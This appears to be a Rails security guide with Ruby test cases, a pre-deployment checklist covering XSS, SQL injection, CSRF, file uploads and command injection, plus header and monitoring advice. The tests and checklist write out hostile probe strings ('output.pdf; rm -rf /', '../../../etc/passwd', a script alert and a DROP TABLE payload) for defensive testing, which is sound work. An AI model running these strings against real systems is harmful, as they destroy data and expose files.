    # test/jobs/pdf_generation_job_test.rb
    class PdfGenerationJobTest < ActiveJob::TestCase
      # Command Injection Prevention
      test "validates output path format" do
        assert_raises(ArgumentError, /Invalid output path/) do
          PdfGenerationJob.perform_now(feedbacks(:one).id, "invalid_path.pdf")
        end
      end
    
      test "prevents directory traversal in path" do
        assert_raises(ArgumentError, /Invalid output path|outside allowed/i) do
          PdfGenerationJob.perform_now(feedbacks(:one).id, "../../../etc/passwd")
        end
      end
    
      test "rejects command injection in path" do
        assert_raises(ArgumentError) do
          PdfGenerationJob.perform_now(feedbacks(:one).id, "output.pdf; rm -rf /")
        end
      end
    end
    
    # test/controllers/downloads_controller_test.rb
    class DownloadsControllerTest < ActionDispatch::IntegrationTest
      test "requires authentication for file downloads" do
        feedback = feedbacks(:one)
        get feedback_download_path(feedback, feedback.documents.first)
        assert_redirected_to login_path
      end
    
      test "serves file with secure headers" do
        sign_in users(:user)
        feedback = users(:user).feedbacks.first
        get feedback_download_path(feedback, feedback.documents.first)
    
        assert_response :success
        assert_equal "attachment", response.headers["Content-Disposition"].split(";").first
      end
    
      test "prevents unauthorized access to other users files" do
        sign_in users(:user)
        other_feedback = users(:other_user).feedbacks.first
    
        get feedback_download_path(other_feedback, other_feedback.documents.first)
        assert_response :forbidden
      end
    end
    

    Security Checklist

    Before Deploying

    XSS Prevention:

    • Never use html_safe or raw on user input
    • Implement Content Security Policy headers
    • Test with <script>alert('XSS')</script> in all user inputs
    • Review all sanitize calls have explicit allowlists
    • Verify ViewComponents used for complex rendering

    SQL Injection Prevention:

    • No string interpolation in SQL queries ("WHERE name = '#{value}'")
    • All queries use hash conditions or placeholders
    • sanitize_sql_like used for LIKE queries
    • ORDER BY uses allowlist validation
    • Test with '; DROP TABLE users; -- in search inputs

    CSRF Protection:

    • csrf_meta_tags in application layout
    • All forms use form_with (includes token)
    • JavaScript requests include X-CSRF-Token header
    • API endpoints properly skip CSRF (with token auth)
    • Test POST/DELETE without CSRF token fails

    File Upload Security:

    • ActiveStorage used (or manual filename sanitization)
    • Triple validation: content type + extension + magic bytes
    • File size limits at application and model levels
    • Dangerous file types force download (SVG, HTML)
    • Files stored outside public directory
    • Virus scanning in production
    • Test with renamed .php→.jpg file

    Command Injection Prevention:

    • No string interpolation in system commands
    • Array form used: system("cmd", arg1, arg2)
    • Input validation with strict allowlists
    • Ruby methods preferred over shell commands
    • Path validation prevents directory traversal
    • Test with ; rm -rf / in file paths

    Security Headers

    # config/application.rb
    config.action_dispatch.default_headers = {
      'X-Frame-Options' => 'SAMEORIGIN',
      'X-Content-Type-Options' => 'nosniff',
      'X-XSS-Protection' => '1; mode=block',
      'Referrer-Policy' => 'strict-origin-when-cross-origin'
    }
    

    Production Monitoring

    Log Security Events:

    • CSRF failures
    • CSP violations
    • Malware detection in uploads
    • Failed authentication attempts
    • SQL injection attempts (unusual queries)
    • Command injection attempts

    Alert On:

    • Multiple CSRF failures from same IP
    • Malware detected in uploads
    • CSP violation patterns
    • Repeated authentication failures
    • SQL error patterns in logs
    - rails-ai:controllers - Strong parameters for mass assignment protection - rails-ai:models - Input validation patterns - rails-ai:views - XSS prevention in templates - rails-ai:testing - Security testing strategies

    Official Documentation:

    • Rails Guides - Securing Rails Applications

    Security Standards:

    • OWASP Top 10 - Most critical web app security risks
    • OWASP XSS Prevention Cheat Sheet
    • OWASP SQL Injection Prevention
    • OWASP CSRF Prevention
    • OWASP File Upload Security
    • OWASP Command Injection
    Recommended Servers
    Agent Safe Message MCP
    Agent Safe Message MCP
    ThinAir Data
    ThinAir Data
    Bizfile MCP — Global Company Intelligence
    Bizfile MCP — Global Company Intelligence
    Repository
    zerobearing2/rails-ai
    Files